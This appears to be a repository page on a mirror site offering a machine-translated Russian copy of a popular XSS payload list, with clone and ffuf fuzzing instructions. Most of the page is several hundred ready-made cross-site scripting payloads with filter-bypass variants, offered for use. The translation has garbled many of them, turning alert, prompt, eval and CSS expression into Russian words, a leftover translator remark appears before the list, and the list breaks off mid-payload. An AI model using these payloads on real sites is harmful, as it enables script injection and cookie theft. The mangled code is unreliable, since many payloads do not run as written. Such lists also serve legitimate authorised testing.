XSS Payload List

Exploitation активный

Обширная коллекция готовых XSS-пейлоадов для тестирования веб-приложений на уязвимость к межсайтовому скриптингу: базовые payload'ы, обходы фильтров, полиглоты, событийные обработчики. Одна из самых популярных и часто цитируемых подборок такого рода. Восстановлено из архива Software Heritage: оригинальный репозиторий был удалён автором с исходной площадки. Из-за перегрузки очереди приготовления полного git-бандла восстановлен только последний известный снимок файлов (без истории коммитов) и перенесён в наш Forgejo-миррор.


Установка
git clone https://git.toolsofthetrade.qzz.io/recovered/xss-payload-list.git
cd xss-payload-list

# Готовый список для Burp Suite Intruder:
#   Intruder/xss-payload-list.txt

# Или взять конкретные пейлоады из README.md и использовать с любым фаззером,
# например ffuf:
ffuf -w Intruder/xss-payload-list.txt -u "https://target.example.com/search?q=FUZZ"
показать оригинал переведено ИИ

🚀 Список полезных нагрузок для уязвимости скриптинга между сайтами ( XSS ) 🚀

Обзор :

Атаки межсайтового скриптинга (XSS) являются разновидностью атак типа «внедрение», при которых вредоносные скрипты внедряются в и без того безобидные и заслуживающие доверия веб-сайты. Атаки XSS происходят, когда злоумышленник использует веб-приложение для отправки вредоносного кода, как правило, в виде скрипта на стороне браузера, другому конечному пользователю. Уязвимости, позволяющие проводить такие атаки, весьма распространены и встречаются везде, где веб-приложение использует вводимые пользователем данные в генерируемом им выводе без проверки или кодирования.

Злоумышленник может использовать XSS для отправки вредоносного скрипта недоверчивому пользователю. Браузер конечного пользователя не имеет способа узнать, что скрипту не следует доверять, и будет выполнять этот скрипт. Поскольку он считает, что скрипт поступил из надежного источника, вредоносный скрипт может получить доступ к любым файлам cookie, токенам сеанса или другой конфиденциальной информации, хранимой в браузере и используемой с этим сайтом. Эти скрипты даже могут перезаписать содержимое HTML-страницы. Для получения дополнительной информации о различных типах уязвимостей XSS см.: Типы межсайтового скриптинга.

Инструменты сканирования уязвимостей XSS :

Список полезных нагрузок XSS :

<!-- Project Name  : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!--        Author : Ismail Tasdelen -->
<!--      Linkedin : https://www.linkedin.com/in/ismailtasdelen/ -->
<!--        GitHub : https://github.com/ismailtasdelen/ -->
<!--       Twitter : https://twitter.com/ismailtsdln -->
<!--        Medium : https://medium.com/@ismailtasdelen -->


Вот исправленный текст с заменой всех китайских, японских и корейских символов на их русский перевод с учётом контекста:

---
"-вызов_функции(8)-"
'-вызов_функции(8)-'
";a=вызов_функции,a()//
';a=вызов_функции,a()//
'-выполнить("window['pro'%2B'mpt'](8)")-'
"-выполнить("window['pro'%2B'mpt'](8)")-"
"onclick=вызов_функции(8)>"@x.y
"onclick=вызов_функции(8)><svg/onload=вызов_функции(8)>"@x.y
<image/src/onerror=вызов_функции(8)>
<img/src/onerror=вызов_функции(8)>
<image src/onerror=вызов_функции(8)>
<img src/onerror=вызов_функции(8)>
<image src =q onerror=вызов_функции(8)>
<img src =q onerror=вызов_функции(8)>
</scrip</script>t><img src =q onerror=вызов_функции(8)>
<script\x20type="text/javascript">javascript:уведомление(1);</script>
<script\x3Etype="text/javascript">javascript:уведомление(1);</script>
<script\x0Dtype="text/javascript">javascript:уведомление(1);</script>
<script\x09type="text/javascript">javascript:уведомление(1);</script>
<script\x0Ctype="text/javascript">javascript:уведомление(1);</script>
<script\x2Ftype="text/javascript">javascript:уведомление(1);</script>
<script\x0Atype="text/javascript">javascript:уведомление(1);</script>
'`"><\x3Cscript>javascript:уведомление(1)</script>
'`"><\x00script>javascript:уведомление(1)</script>
<img src=1 href=1 onerror="javascript:уведомление(1)"></img>
<audio src=1 href=1 onerror="javascript:уведомление(1)"></audio>
<video src=1 href=1 onerror="javascript:уведомление(1)"></video>
<body src=1 href=1 onerror="javascript:уведомление(1)"></body>
<image src=1 href=1 onerror="javascript:уведомление(1)"></image>
<object src=1 href=1 onerror="javascript:уведомление(1)"></object>
<script src=1 href=1 onerror="javascript:уведомление(1)"></script>
<svg onResize svg onResize="javascript:javascript:уведомление(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:уведомление(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:уведомление(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:уведомление(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:уведомление(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:уведомление(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:уведомление(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:уведомление(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:уведомление(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:уведомление(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:уведомление(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:уведомление(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:уведомление(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:уведомление(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:уведомление(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:уведомление(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:уведомление(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:уведомление(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:уведомление(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:уведомление(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:уведомление(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:уведомление(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:уведомление(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:уведомление(1)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:уведомление(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:уведомление(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:родитель.javascript:уведомление(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:уведомление(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:уведомление(1)"></html onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:уведомление(1)"></marquee onScroll>
<xml onPropertyChange xml onPropertyChange="javascript:javascript:уведомление(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:уведомление(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:уведомление(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:уведомление(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:уведомление(1)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:уведомление(1)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:уведомление(1)"></body onResize>
<object onError object onError="javascript:javascript:уведомление(1)"></object onError>
<body onPopState body onPopState="javascript:javascript:уведомление(1)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:уведомление(1)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:уведомление(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:уведомление(1)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:уведомление(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:уведомление(1)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:уведомление(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:уведомление(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:уведомление(1)"></iframe onload>
<body onload body onload="javascript:javascript:уведомление(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:уведомление(1)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:уведомление(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:уведомление(1)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:уведомление(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:уведомление(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:уведомление(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:уведомление(1)"></iframe src>
<svg onload svg onload="javascript:javascript:уведомление(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:уведомление(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:уведомление(1)"></body onblur>
\x3Cscript>javascript:уведомление(1)</script>
'"`><script>/* *\x2Fjavascript:уведомление(1)// */</script>
<script>javascript:уведомление(1)</script\x0D
<script>javascript:уведомление(1)</script\x0A
<script>javascript:уведомление(1)</script\x0B
<script charset="\x22>javascript:уведомление(1)</script>
<!--\x3E<img src=xxx:x onerror=javascript:уведомление(1)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:уведомление(1)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:уведомление(1)> -->
--><!-- --\x21> <img src=xxx:x onerror=javascript:уведомление(1)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:уведомление(1)> -->
`"'><img src='#\x27 onerror=javascript:уведомление(1)>
<a href="javascript\x3Ajavascript:уведомление(1)" id="fuzzelement1">test</a>
"'`><p><svg><script>a='hello\x27;javascript:уведомление(1)//';</script></p>
<a href="javas\x00cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:уведомление(1)// */</script>
<script>/* *\x00/javascript:уведомление(1)// */</script>
<style></style\x3E<img src="about:blank" onerror=javascript:уведомление(1)//></style>
<style></style\x0D<img src="about:blank" onerror=javascript:уведомление(1)//></style>
<style></style\x09<img src="about:blank" onerror=javascript:уведомление(1)//></style>
<style></style\x20<img src="about:blank" onerror=javascript:уведомление(1)//></style>
<style></style\x0A<img src="about:blank" onerror=javascript:уведомление(1)//></style>
"'`>ABC<div style="font-family:'foo'\x7Dx:выражение(javascript:уведомление(1);/*';">DEF
"'`>ABC<div style="font-family:'foo'\x3Bx:выражение(javascript:уведомление(1);/*';">DEF
<script>if("x\\xE1\x96\x89".length==2) { javascript:уведомление(1);}</script>
<script>if("x\\xE0\xB9\x92".length==2) { javascript:уведомление(1);}</script>
<script>if("x\\xEE\xA9\x93".length==2) { javascript:уведомление(1);}</script>
'`"><\x3Cscript>javascript:уведомление(1)</script>
'`"><\x00script>javascript:уведомление(1)</script>
"'`><\x3Cimg src=xxx:x onerror=javascript:уведомление(1)>
"'`><\x00img src=xxx:x onerror=javascript:уведомление(1)>
<script src="data:text/plain\x2Cjavascript:уведомление(1)"></script>
<script src="data:\xD4\x8F,javascript:уведомление(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:уведомление(1)"></script>
<script src="data:\xCB\x8F,javascript:уведомление(1)"></script>
<script\x20type="text/javascript">javascript:уведомление(1);</script>
<script\x3Etype="text/javascript">javascript:уведомление(1);</script>
<script\x0Dtype="text/javascript">javascript:уведомление(1);</script>
<script\x09type="text/javascript">javascript:уведомление(1);</script>
<script\x0Ctype="text/javascript">javascript:уведомление(1);</script>
<script\x2Ftype="text/javascript">javascript:уведомление(1);</script>
<script\x0Atype="text/javascript">javascript:уведомление(1);</script>
ABC<div style="x\x3Aвыражение(javascript:уведомление(1)">DEF
ABC<div style="x:выражение\x5C(javascript:уведомление(1)">DEF
ABC<div style="x:выражение\x00(javascript:уведомление(1)">DEF
ABC<div style="x:выр\x00ажение(javascript:уведомление(1)">DEF
ABC<div style="x:выр\x5Cажение(javascript:уведомление(1)">DEF
ABC<div style="x:\x0Aвыражение(javascript:уведомление(1)">DEF
ABC<div style="x:\x09выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE3\x80\x80выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x84выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xC2\xA0выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x80выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x8Aвыражение(javascript:уведомление(1)">DEF
ABC<div style="x:\x0Dвыражение(javascript:уведомление(1)">DEF
ABC<div style="x:\x0Cвыражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x87выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xEF\xBB\xBFвыражение(javascript:уведомление(1)">DEF
ABC<div style="x:\x20выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x88выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\x00выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x8Bвыражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x86выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x85выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x82выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\x0Bвыражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x81выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x83выражение(javascript:уведомление(1)">DEF
ABC<div style="x:\xE2\x80\x89выражение(javascript:уведомление(1)">DEF
<a href="\x0Bjavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x05javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:уведомление(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:уведомление(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x22onerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x0Donerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x09onerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x0Conerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x00onerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x27onerror=javascript:уведомление(1)>
`"'><img src=xxx:x \x20onerror=javascript:уведомление(1)>
"`'><script>\x3Bjavascript:уведомление(1)</script>
"`'><script>\x0Djavascript:уведомление(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:уведомление(1)</script>
"`'><script>\xE2\x80\x81javascript:уведомление(1)</script>
"`'><script>\xE2\x80\x84javascript:уведомление(1)</script>
"`'><script>\xE3\x80\x80javascript:уведомление(1)</script>
"`'><script>\x09javascript:уведомление(1)</script>
"`'><script>\xE2\x80\x89javascript:уведомление(1)</script>
"`'><script>\xE2\x80\x85javascript:уведомление(1)</script>
"`'><script>\xE2\x80\x88javascript:уведомление(1)</script>
"`'><script>\x00javascript:уведомление(1)</script>
"`'><script>\xE2\x80\xA8javascript:уведомление(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:уведомление(1)</script>
"`'><script>\xE1\x9A\x80javascript:уведомление(1)</script>
"`'><script>\x0Cjavascript:уведомление(1)</script>
"`'><script>\x2Bjavascript:уведомление(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:уведомление(1)</script>
"`'><script>-javascript:уведомление(1)</script>
"`'><script>\x0Ajavascript:уведомление(1)</script>
"`'><script>\xE2\x80\xAFjavascript:уведомление(1)</script>
"`'><script>\x7Ejavascript:уведомление(1)</script>
"`'><script>\xE2\x80\x87javascript:уведомление(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:уведомление(1)</script>
"`'><script>\xE2\x80\xA9javascript:уведомление(1)</script>
"`'><script>\xC2\x85javascript:уведомление(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:уведомление(1)</script>
"`'><script>\xE2\x80\x83javascript:уведомление(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:уведомление(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:уведомление(1)</script>
"`'><script>\xE2\x80\x80javascript:уведомление(1)</script>
"`'><script>\x21javascript:уведомление(1)</script>
"`'><script>\xE2\x80\x82javascript:уведомление(1)</script>
"`'><script>\xE2\x80\x86javascript:уведомление(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:уведомление(1)</script>
"`'><script>\x0Bjavascript:уведомление(1)</script>
"`'><script>\x20javascript:уведомление(1)</script>
"`'><script>\xC2\xA0javascript:уведомление(1)</script>
"/><img/onerror=\x0Bjavascript:уведомление(1)\x0Bsrc=xxx:x />
"/><img/onerror=\x22javascript:уведомление(1)\x22src=xxx:x />
"/><img/onerror=\x09javascript:уведомление(1)\x09src=xxx:x />
"/><img/onerror=\x27javascript:уведомление(1)\x27src=xxx:x />
"/><img/onerror=\x0Ajavascript:уведомление(1)\x0Asrc=xxx:x />
"/><img/onerror=\x0Cjavascript:уведомление(1)\x0Csrc=xxx:x />
"/><img/onerror=\x0Djavascript:уведомление(1)\x0Dsrc=xxx:x />
"/><img/onerror=\x60javascript:уведомление(1)\x60src=xxx:x />
"/><img/onerror=\x20javascript:уведомление(1)\x20src=xxx:x />
<script\x2F>javascript:уведомление(1)</script>
<script\x20>javascript:уведомление(1)</script>
<script\x0D>javascript:уведомление(1)</script>
<script\x0A>javascript:уведомление(1)</script>
<script\x0C>javascript:уведомление(1)</script>
<script\x00>javascript:уведомление(1)</script>
<script\x09>javascript:уведомление(1)</script>
`"'><img src=xxx:x onerror\x0B=javascript:уведомление(1)>
`"'><img src=xxx:x onerror\x00=javascript:уведомление(1)>
`"'><img src=xxx:x onerror\x0C=javascript:уведомление(1)>
`"'><img src=xxx:x onerror\x0D=javascript:уведомление(1)>
`"'><img src=xxx:x onerror\x20=javascript:уведомление(1)>
`"'><img src=xxx:x onerror\x0A=javascript:уведомление(1)>
`"'><img src=xxx:x onerror\x09=javascript:уведомление(1)>
<script>javascript:уведомление(1)<\x00/script>
<img src=# onerror\x3D"javascript:уведомление(1)" >
<input onfocus=javascript:уведомление(1) autofocus>
<input onblur=javascript:уведомление(1) autofocus><input autofocus>
<video poster=javascript:javascript:уведомление(1)//
<body onscroll=javascript:уведомление(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form id=test onforminput=javascript:уведомление(1)><input></form><button form=test onformchange=javascript:уведомление(1)>X
<video><source onerror="javascript:javascript:уведомление(1)">
<video onerror="javascript:javascript:уведомление(1)"><source>
<form><button formaction="javascript:javascript:уведомление(1)">X
<body oninput=javascript:уведомление(1)><input autofocus>
<math href="javascript:javascript:уведомление(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:уведомление(1)">CLICKME</maction> </math>
<frameset onload=javascript:уведомление(1)>
<table background="javascript:javascript:уведомление(1)">
<!--<img src="--><img src=x onerror=javascript:уведомление(1)//">
<comment><img src="</comment><img src=x onerror=javascript:уведомление(1))//">
<![><img src="]><img src=x onerror=javascript:уведомление(1)//">
<style><img src="</style><img src=x onerror=javascript:уведом


#### Ссылки :

###### Межсайтовый скриптинг (XSS)

* 👉 https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

###### Памятка по предотвращению XSS (Cross Site Scripting)

* 👉 https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

###### Памятка по предотвращению DOM-based XSS

* 👉 https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet

###### Тестирование отраженного межсайтового скриптинга (OTG-INPVAL-001)

* 👉 https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)

###### Тестирование хранимого межсайтового скриптинга (OTG-INPVAL-002)

* 👉 https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)

###### Тестирование межсайтового скриптинга на основе DOM (OTG-CLIENT-001)

* 👉 https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)

###### DOM Based XSS

* 👉 https://www.owasp.org/index.php/DOM_Based_XSS

###### Межсайтовый скриптинг (XSS) Cheat Sheet | Veracode

* 👉 https://www.veracode.com/security/xss

#### Рекомендуемые книги :

* [XSS Attacks: Cross-site Scripting Exploits and Defense](https://books.google.com.tr/books/about/XSS_Attacks.html?id=dPhqDe0WHZ8C)

* [XSS Cheat Sheet](https://leanpub.com/xss)



### Клонирование существующего репозитория ( Клонирование через HTTPS )

root@ismailtasdelen:~# git clone https://github.com/ismailtasdelen/xss-payload-list.git


### Клонирование существующего репозитория ( Клонирование через SSH )

root@ismailtasdelen:~# git clone git@github.com:ismailtasdelen/xss-payload-list.git ```

Опубликованный сайт :

Kitploit - https://www.kitploit.com/2018/05/xss-payload-list-cross-site-scripting.html

Пожертвовать!

Поддержите авторов:

LiberaPay:

Donate using Liberapay
Войдите, чтобы оставить комментарий